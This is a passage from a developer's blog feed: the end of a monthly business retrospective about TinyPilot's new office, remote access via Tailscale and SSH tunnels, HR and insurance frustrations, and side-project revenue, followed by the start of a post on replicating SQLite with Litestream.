&lt;p>To access my machines remotely, I installed &lt;a href="https://tailscale.com/">Tailscale&lt;/a> on an old Raspberry Pi 3. Then, I installed Tailscale on my home desktop, so the two are joined over Tailscale&amp;rsquo;s virtual network whenever both machines have Internet.&lt;/p>
&lt;p>If I need to access the router, I run this command from my home desktop:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh bastion -L 443:192.168.1.1:443
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Tada! I can access my router&amp;rsquo;s management dashboard.&lt;/p>
&lt;p>When I want to manage the office print server (&lt;code>franklin&lt;/code>), I run this command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh -J bastion franklin -L 631:localhost:631
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And voila, I can access &lt;code>franklin&lt;/code>&amp;rsquo;s CUPS web interface.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/cups.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/cups_hu_50574e1bb18c9ce.png 300w, https://mtlynch.io/retrospectives/2021/05/cups_hu_e19d9b7662493845.png 600w, https://mtlynch.io/retrospectives/2021/05/cups_hu_c5263f9b6810e267.png 800w, https://mtlynch.io/retrospectives/2021/05/cups_hu_f1eedb7cbde3cba1.png 1200w, https://mtlynch.io/retrospectives/2021/05/cups.png 1247w'
 src="https://mtlynch.io/retrospectives/2021/05/cups.png" alt="Screenshot of CUPS interface" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Using &lt;a href="https://tailscale.com/">Tailscale&lt;/a> to manage my office print server from my home dev machine&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="still-to-come">Still to come&lt;/h3>
&lt;ul>
&lt;li>12 U server rack&lt;/li>
&lt;li>HP DL380 G7 rack-mounted server
&lt;ul>
&lt;li>Mainly because I want to experiment using a server rack for the first time.&lt;/li>
&lt;li>It&amp;rsquo;s enormous and weighs 60 lbs.&lt;/li>
&lt;li>It may turn out to be a terrible idea.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Dell Optiplex 3050 Micro (main workstation)
&lt;ul>
&lt;li>In the meantime, a 17&amp;quot; test laptop is acting as the main workstation&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="tinypilots-new-office-the-annoying-stuff">TinyPilot&amp;rsquo;s new office: the annoying stuff&lt;/h2>
&lt;p>The not-so-fun part about opening an office is all the legal and insurance stuff.&lt;/p>
&lt;p>I&amp;rsquo;ve previously only ever hired people as &amp;ldquo;independent contractors,&amp;rdquo; which is a fairly lightweight and non-bureaucratic process in the US. But you can&amp;rsquo;t just declare anyone you want a contractor. The IRS &lt;a href="https://www.irs.gov/newsroom/understanding-employee-vs-contractor-designation">issues guidance&lt;/a> about the distinction between contractor and employee. For the work I need, the IRS considers it an employee relationship. And that means I have to do a whole bunch of paperwork and get worker&amp;rsquo;s comp insurance. My lease also requires me to purchase liability and property insurance.&lt;/p>
&lt;p>TinyPilot doesn&amp;rsquo;t fit neatly into business categories that insurance companies use. When insurance companies talk about &amp;ldquo;manufacturers,&amp;rdquo; they usually mean factories with heavy machinery that can kill you. We &amp;ldquo;manufacture&amp;rdquo; a product in that we screw circuit boards into plastic cases, but that means that insurers see the work as &amp;ldquo;manufacturing&amp;rdquo; and charge high rates.&lt;/p>
&lt;p>HR stuff was more annoying and continues to drag on. I went with JustWorks based on recommendations from other founders, but I&amp;rsquo;m realizing the experience is probably much worse for me because I&amp;rsquo;m not a pure software business.&lt;/p>
&lt;p>Here&amp;rsquo;s my experience with JustWorks so far:&lt;/p>
&lt;ul>
&lt;li>The JustWorks on-boarding process involved seven different people contacting me and asking the same questions, seemingly without any collaboration with anyone else on their team.&lt;/li>
&lt;li>JustWorks obscures a huge hidden fee in that you&amp;rsquo;re required to purchase worker&amp;rsquo;s comp insurance from them, and you don&amp;rsquo;t find out until a week into the signup process.&lt;/li>
&lt;li>JustWorks, by default, sends you a poster of labor laws and then charges you $50. Customers can opt-out, but wow does it feel like JustWorks is nickel-and-diming me. If I&amp;rsquo;m paying $200/month for a team of four people, a cheap poster seems like the kind of thing JustWorks can throw in for free.&lt;/li>
&lt;/ul>
&lt;p>The most frustrating part of JustWorks is that, for worker&amp;rsquo;s comp insurance, they&amp;rsquo;ve classified my job as a &lt;a href="https://www.wcribma.org/mass/ToolsAndServices/MACI/Results.aspx?class=8018">wholesale warehouse worker&lt;/a>. I&amp;rsquo;m in the same risk pool as people who move giant pallets around with a forklift. Even though I defined my job as purely computer work, the insurance rate on my pay is 3x higher than employees who actually perform manual work of assembling devices. When I tried to correct the rate, JustWorks kept insisting that they assigned me the correct code and refused to elaborate.&lt;/p>
&lt;p>I finally got on the phone with my account manager and explained to him that my job is limited to writing software and managing people, so it makes no sense to classify me as a warehouse worker. He was understanding and said he&amp;rsquo;d talk to the worker&amp;rsquo;s comp team. A few days later, he relayed this message:&lt;/p>
&lt;blockquote>
&lt;p>The admin in this case has exposure to the product and the operations of the wholesale business even though the work that this person does is computer work in the office. This is why the client is getting the classification they are getting. The exposure to such disqualifies this employee from being simply a clerical employee.&lt;/p>&lt;/blockquote>
&lt;p>It&amp;rsquo;s too hard to switch away from JustWorks at this point, but I plan to evaluate &lt;a href="https://gusto.com/">Gusto&lt;/a> and &lt;a href="https://onpay.com/">OnPay&lt;/a> at the end of the year.&lt;/p>
&lt;h2 id="let-me-run-it-by-my-lawyer">Let me run it by my lawyer&lt;/h2>
&lt;p>Inspired by re-watching Mike Monteiro&amp;rsquo;s famous talk, &lt;a href="https://www.youtube.com/watch?v=jVkLVRt6c1U">&amp;ldquo;F&amp;mdash; You, Pay Me,&amp;rdquo;&lt;/a> I hired a lawyer to review a business contract for the first time ever.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/jVkLVRt6c1U?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>Monteiro&amp;rsquo;s advice is primarily for consultants and contractors, but the bulk of his talk applies to founders as well. He argues that you forfeit a tremendous amount of power by letting the other party define all terms of a contract without a lawyer on your side. A good lawyer pays for themselves in protecting you from bad deals, even if your business seems too small to afford a lawyer.&lt;/p>
&lt;p>I&amp;rsquo;d never signed a commercial lease, and I didn&amp;rsquo;t know what was normal, so it seemed like a good opportunity to consult a lawyer. That added a stressful week to the lease process. The latency was because I was doing two things at once: hiring a lawyer for the first time and having him review a lease.&lt;/p>
&lt;p>The result turned out to be fun, though. Getting to say, &amp;ldquo;I&amp;rsquo;ll have to review this with my lawyer,&amp;rdquo; made me feel like a real businessperson. And the lawyer identified contradictions in the lease and suggested clearer language for clauses that were important to me, like Internet availability and limitations on the landlord&amp;rsquo;s rights to enter the leased space.&lt;/p>
&lt;h2 id="my-wrongheaded-promotional-experiment">My wrongheaded promotional experiment&lt;/h2>
&lt;p>Will Yarborough was one of the first YouTubers to &lt;a href="https://www.youtube.com/watch?v=jq2X2ofedyQ">review TinyPilot&lt;/a>, and I was interested in collaborating with him on more interesting use-cases for a TinyPilot.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/jq2X2ofedyQ?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>We got on a video call to brainstorm ideas, and Will suggested using TinyPilot to control DSLR cameras. Nearly all DSLRs have an HDMI output and expose a simple electronic interface for firing the camera shutter.&lt;/p>
&lt;p>TinyPilot runs on a Raspberry Pi, which has electronic pins that turn on and off through software. If I could add a button to TinyPilot&amp;rsquo;s web interface that controls one of the Pi&amp;rsquo;s pins, Will could rig up a circuit that connects it to a camera shutter.&lt;/p>
&lt;p>This seemed like a great idea! It could open up a whole new market for TinyPilot. And even though other people had blogged about using a Raspberry Pi to control a DSLR&amp;rsquo;s shutter, nobody had ever combined it with video capture and put it all in a slick web interface.&lt;/p>
&lt;p>With Will doing the heavy lifting of creating the circuit and shooting the video, this felt like a slam dunk. All I had to do was add a button to a web UI. That should take an hour of my time at the most.&lt;/p>
&lt;p>When I sat down to implement the software portion, I quickly realized that there was more work than just adding a button. I needed to update TinyPilot&amp;rsquo;s installer to include the right library for controlling Raspberry Pi&amp;rsquo;s electronic interfaces. And I can&amp;rsquo;t just stick a button anywhere — I had to rearrange the UI to put the button somewhere sensible. Even after I had a working solution, Will and I had to iterate on it a few times as we discovered what worked with different cameras.&lt;/p>
&lt;p>All told, I spent about six hours of development time on this. It sounds small, but I&amp;rsquo;m lucky if I get a few hours per week to write code these days. This project absorbed all of my coding time for over a week.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/YUQ9VVuMOZs?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>Will put together a great video, but we were both underwhelmed by the response. Here are the stats as of this writing:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>Value&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>YouTube views&lt;/td>
 &lt;td>812&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Mailing list signups&lt;/td>
 &lt;td>17&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Conversion rate&lt;/td>
 &lt;td>2%&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>After the video came out, I realized I had asked myself the wrong questions. While it was true that nobody had built a solution like this with a &lt;em>Raspberry Pi&lt;/em>, there were already products that controled DSLRs from a phone or web browser. One company even holds &lt;a href="https://patents.google.com/patent/US9712688B2/en">a patent&lt;/a> claiming they invented the idea of controlling a camera over a computer network, so they could potentially sue me if I created a competing product.&lt;/p>
&lt;p>I&amp;rsquo;m glad I had the foresight to keep all the DSLR code in &lt;a href="https://github.com/tiny-pilot/tinypilot/tree/experimental/dslr">a separate, experimental branch&lt;/a> of the codebase. Initially, I thought it was a small enough change that I could add it as a feature to the regular TinyPilot software. It&amp;rsquo;s a good thing I didn&amp;rsquo;t, as that would have introduced a ton of complexity to the code and cluttered the UI with a feature that 99% of my users don&amp;rsquo;t want.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2021&lt;/th>
 &lt;th>April 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>63,493&lt;/td>
 &lt;td>56,094&lt;/td>
 &lt;td>&lt;font color="red">-7,399 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>141,199&lt;/td>
 &lt;td>123,723&lt;/td>
 &lt;td>&lt;font color="red">-17,476 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$611.99&lt;/td>
 &lt;td>$560.20&lt;/td>
 &lt;td>&lt;font color="red">-$51.79 (-8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$337.29&lt;/td>
 &lt;td>$116.78&lt;/td>
 &lt;td>&lt;font color="red">-$220.51 (-65%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$949.28&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$676.98&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$272.30 (-29%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto is still running quietly in the background. It&amp;rsquo;s following the same pattern as last year: slowly dropping in popularity as people lose interest in diets they started for the new year.&lt;/p>
&lt;p>Amazon Affiliate revenue dropped disproportionately, but that&amp;rsquo;s just because &lt;a href="https://mtlynch.io/retrospectives/2021/04/#is-it-keto">last month was an outlier&lt;/a>.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2021&lt;/th>
 &lt;th>April 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>185&lt;/td>
 &lt;td>114&lt;/td>
 &lt;td>&lt;font color="red">-71 (-38%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$313.63&lt;/td>
 &lt;td>$341.61&lt;/td>
 &lt;td>&lt;font color="green">+$27.98 (+9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Revenue&lt;/td>
 &lt;td>$655.20&lt;/td>
 &lt;td>$109.20&lt;/td>
 &lt;td>&lt;font color="red">-$546.00 (-83%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$968.83&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$450.81&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$518.02 (-53%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>My course continues to sell in small quantities. There was a big jump last month from Monica Lent&amp;rsquo;s &lt;a href="https://community.bloggingfordevs.com/">Blogging for Devs Community&lt;/a>. In March, Monica began offering the course as a free perk to her members and paid me a royalty for each unique course download. That initial rush has subsided.&lt;/p>
&lt;p>I&amp;rsquo;m happy that people continue to find the course and reach out to me about what they learned. &lt;a href="https://twitter.com/ChrisSamiullah">Chris Samiullah&lt;/a> from CourseMaker published &lt;a href="https://coursemaker.org/blog/summary-michael-lynch-hacker-news-course/">his notes&lt;/a> and credited my course with helping him reach the &lt;a href="https://www.reddit.com/r/programming/comments/mbd9lk/coursemaker_interactive_course_builder_for/">top spot of the /r/programming subreddit&lt;/a>.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2021&lt;/th>
 &lt;th>April 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>480&lt;/td>
 &lt;td>892&lt;/td>
 &lt;td>&lt;font color="green">+412 (+86%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,367&lt;/td>
 &lt;td>2,132&lt;/td>
 &lt;td>&lt;font color="green">+765 (+56%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Revenue&lt;/td>
 &lt;td>$21.97&lt;/td>
 &lt;td>$40.82&lt;/td>
 &lt;td>&lt;font color="green">+$18.85 (+86%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$21.97&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$40.82&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$18.85 (+86%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful continues to run in maintenance mode. There&amp;rsquo;s been an uptick in people asking about Enterprise plans, but the discussions fizzle quickly after they hear pricing. I&amp;rsquo;m quoting higher prices to account for the opportunity cost of shifting my attention away from TinyPilot.&lt;/p>
&lt;p>It&amp;rsquo;s hard to take a lot of the Enterprise inquiries seriously, though. The inquiries often begin with, &amp;ldquo;The pay-as-you-go plan is too expensive for me. How much does your Enterprise plan cost?&amp;rdquo;&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Signed a lease on TinyPilot&amp;rsquo;s first-ever office space.&lt;/li>
&lt;li>Hired two new employees to staff the office part-time.&lt;/li>
&lt;li>Documented about 50% of TinyPilot&amp;rsquo;s internal processes for new employees.&lt;/li>
&lt;li>Reached code complete on TinyPilot 1.5.0, adding virtual storage and support for tuning the video stream.&lt;/li>
&lt;li>Published the blog post, &lt;a href="https://mtlynch.io/litestream/">&amp;ldquo;How Litestream Eliminated My Database Server for $0.03/month&amp;rdquo;&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Never commit to a new project during a live discussion.
&lt;ul>
&lt;li>Even if it seems small, it&amp;rsquo;s probably more complicated than it seems.&lt;/li>
&lt;li>I need more time to think over whether the work is worth the effort.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Allocate more time for change.
&lt;ul>
&lt;li>TinyPilot is experiencing two major changes simultaneously: moving to our first office and training a new employee from scratch.&lt;/li>
&lt;li>I anticipated that both would take time, but I should have given myself more of a buffer to handle unanticipated tasks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Increase TinyPilot&amp;rsquo;s revenue to $33k.&lt;/li>
&lt;li>Fully migrate TinyPilot&amp;rsquo;s operations to our new office.&lt;/li>
&lt;li>Gather feedback on the table of contents for &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a> and iterate on it.&lt;/li>
&lt;/ul></content:encoded></item><item><title>How Litestream Eliminated My Database Server for $0.03/month</title><link>https://mtlynch.io/litestream/</link><pubDate>Thu, 29 Apr 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/litestream/</guid><description>&lt;p>Here&amp;rsquo;s a riddle. My web app keeps all of its data in a SQL database. I can spontaneously tear it down, deploy the code to a different hosting platform, and the app will still serve all the same data. Running my app in production costs $0.03 per month.&lt;/p>
&lt;p>How is this possible?&lt;/p>
&lt;blockquote>
&lt;p>That&amp;rsquo;s easy. You have a separate database server running somewhere that stores all of your app&amp;rsquo;s state.&lt;/p>&lt;/blockquote>
&lt;p>No, my app never talks to a remote database server.&lt;/p></description><content:encoded>&lt;p>Here&amp;rsquo;s a riddle. My web app keeps all of its data in a SQL database. I can spontaneously tear it down, deploy the code to a different hosting platform, and the app will still serve all the same data. Running my app in production costs $0.03 per month.&lt;/p>
&lt;p>How is this possible?&lt;/p>
&lt;blockquote>
&lt;p>That&amp;rsquo;s easy. You have a separate database server running somewhere that stores all of your app&amp;rsquo;s state.&lt;/p>&lt;/blockquote>
&lt;p>No, my app never talks to a remote database server.&lt;/p>
&lt;blockquote>
&lt;p>Oh, then you&amp;rsquo;re using a proprietary, managed datastore like &lt;a href="https://aws.amazon.com/dynamodb/">Amazon DynamoDB&lt;/a> or &lt;a href="https://cloud.google.com/firestore">Google Cloud Firestore&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;p>Nope, my entire stack is open-source and platform-agnostic.&lt;/p>
&lt;blockquote>
&lt;p>Then what?&lt;/p>&lt;/blockquote>
&lt;p>I combined &lt;a href="https://sqlite.org/index.html">SQLite&lt;/a>, &lt;a href="https://litestream.io/">Litestream&lt;/a>, and &lt;a href="https://www.docker.com/">Docker&lt;/a>.&lt;/p>
&lt;p>My tool is called &lt;a href="https://logpaste.com">LogPaste&lt;/a>. It allows users to generate shareable URLs for text files. I use it in my open-source &lt;a href="https://tinypilotkvm.com">KVM over IP device&lt;/a> so that users can easily share diagnostic logs with me.&lt;/p>
&lt;p>Sharing text files isn&amp;rsquo;t exactly revolutionary, but serverless data replication might be. Here&amp;rsquo;s a demo of me migrating my LogPaste app server between two separate hosting platforms: &lt;a href="https://www.heroku.com/">Heroku&lt;/a> and &lt;a href="https://fly.io">fly.io&lt;/a>. There&amp;rsquo;s no database server or data migration step, but all of my data persists between platforms:&lt;/p>
&lt;script id="asciicast-I2HcYheYayeh7aHj23QSY9Vyf" data-speed="2.0" data-size="medium" data-cols="80" src="https://asciinema.org/a/I2HcYheYayeh7aHj23QSY9Vyf.js" async>&lt;/script>
&lt;p>The best part is that I didn&amp;rsquo;t need to modify my app&amp;rsquo;s code at all. It just writes to a local SQLite database, and Litestream magically handles data replication in the background.&lt;/p>
&lt;p>In this post, I&amp;rsquo;ll explain how I integrated Litestream into my app and how you can do the same to replace your expensive, complicated database servers.&lt;/p>
&lt;h2 id="data-persistence-for-people-who-hate-database-servers">Data persistence for people who hate database servers&lt;/h2>
&lt;p>My shameful programmer secret is that I can&amp;rsquo;t maintain a database server.&lt;/p>
&lt;p>I&amp;rsquo;ve been building my own software products and services for the past eight years, and I&amp;rsquo;ve never used a database server in production. I don&amp;rsquo;t want to be responsible for backups or software upgrades, so anything that requires MySQL, Postgres, or Redis is a dealbreaker for me.&lt;/p>
&lt;p>Instead, I&amp;rsquo;ve always used Google-managed datastores like Cloud Datastore, Firebase, and Firestore. But every few years, Google builds a totally new datastore solution, deprecates its old one, and &lt;a href="https://medium.com/@steve.yegge/dear-google-cloud-your-deprecation-policy-is-killing-you-ee7525dc05dc">dumps all the migration work onto its customers&lt;/a>. I didn&amp;rsquo;t want to create another service on top of a tech stack that Google would probably kill off soon.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 640px">



 &lt;a href="https://mtlynch.io/litestream/gcp-deprecations.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 640px, 98vw"
 srcset='https://mtlynch.io/litestream/gcp-deprecations_hu_433e3239bb1d2f3.png 300w, https://mtlynch.io/litestream/gcp-deprecations_hu_d48a2020f3ccaaa.png 600w, https://mtlynch.io/litestream/gcp-deprecations_hu_92b59e8f32bb0431.png 800w, https://mtlynch.io/litestream/gcp-deprecations.png 1028w'
 src="https://mtlynch.io/litestream/gcp-deprecations.png" alt="Screenshot of AppEngine library documentation featuring several deprecation notices" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Google deprecated its Python DB Client library, forcing users to migrate to NDB. They then deprecated NDB in favor of Cloud NDB. Now, they&amp;rsquo;re ominously directing developers to build new apps against yet another API.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="litestream-the-serverless-database-server">Litestream: the serverless database server&lt;/h2>
&lt;p>A few months ago, I saw that &lt;a href="https://twitter.com/benbjohnson">Ben Johnson&lt;/a>, author of the popular &lt;a href="https://github.com/boltdb/bolt">Bolt database&lt;/a>, had taken on a new project: &lt;a href="https://litestream.io">Litestream&lt;/a>. It&amp;rsquo;s a simple, open-source tool that replicates a SQLite database to Amazon&amp;rsquo;s S3 cloud storage.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/litestream/litestream.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/litestream/litestream_hu_467a3aadb375a0ad.png 300w, https://mtlynch.io/litestream/litestream_hu_e129fb6ff317a735.png 600w, https://mtlynch.io/litestream/litestream_hu_3e79d9755f15035e.png 800w, https://mtlynch.io/litestream/litestream_hu_f4ba701e83cb0d70.png 1200w, https://mtlynch.io/litestream/litestream.png 1257w'
 src="https://mtlynch.io/litestream/litestream.png" alt="Screenshot of Litestream homepage" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://litestream.io">Litestream&lt;/a> is an open-source tool that replicates a SQLite database to Amazon&amp;rsquo;s S3 cloud storage.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It seemed neat, but I wasn&amp;rsquo;t particularly excited about it. I never use SQLite, so what did I care?&lt;/p>
&lt;p>I didn&amp;rsquo;t have anything against SQLite, but the design seemed impractical. Unlike other databases that send data to an external server over the network, SQLite writes everything to a local file. I always worried, &amp;ldquo;What happens if I lose that file?&amp;rdquo;&lt;/p>
&lt;p>Thinking about it more, I realized I&amp;rsquo;d dismissed Litestream because I didn&amp;rsquo;t use SQLite. But Litestream solved the very obstacle keeping me from adopting SQLite&amp;hellip; Maybe this was worth a try.&lt;/p>
&lt;p>Even better, Litestream could be my ticket out of Google Cloud Platform. SQLite runs anywhere, so I&amp;rsquo;d have freedom in choosing server hosting platforms. Litestream provides vendor flexibility on the storage side, as it supports any S3-compatible service, including &lt;a href="https://www.backblaze.com/cloud-storage">BackBlaze B2&lt;/a>, &lt;a href="https://wasabi.com/">Wasabi&lt;/a>, and &lt;a href="https://min.io/">Minio&lt;/a>.&lt;/p>
&lt;p>Litestream sounded rosy in theory, but you can&amp;rsquo;t judge a technology until you test it in production. I needed a log upload service, and it seemed like the perfect project to test Litestream.&lt;/p>
&lt;h2 id="creating-the-basic-functionality">Creating the basic functionality&lt;/h2>
&lt;p>LogPaste needed to accept HTTP PUT requests from the command-line, so I wrote &lt;a href="https://github.com/mtlynch/logpaste/blob/add9e363bd0ea0116d60e759778114ddbc979024/handlers/paste.go#L45L78">this simple HTTP handler&lt;/a> in Go:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (s defaultServer) &lt;span style="color:#447fcf">pastePut&lt;/span>() http.HandlerFunc {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>(w http.ResponseWriter, r *http.Request) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Read the full HTTP PUT request body as a string.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> bodyRaw, err := ioutil.&lt;span style="color:#447fcf">ReadAll&lt;/span>(r.Body)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.&lt;span style="color:#447fcf">Error&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;can&amp;#39;t read request body&amp;#34;&lt;/span>, http.StatusBadRequest)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> body := &lt;span style="color:#24909d">string&lt;/span>(bodyRaw)
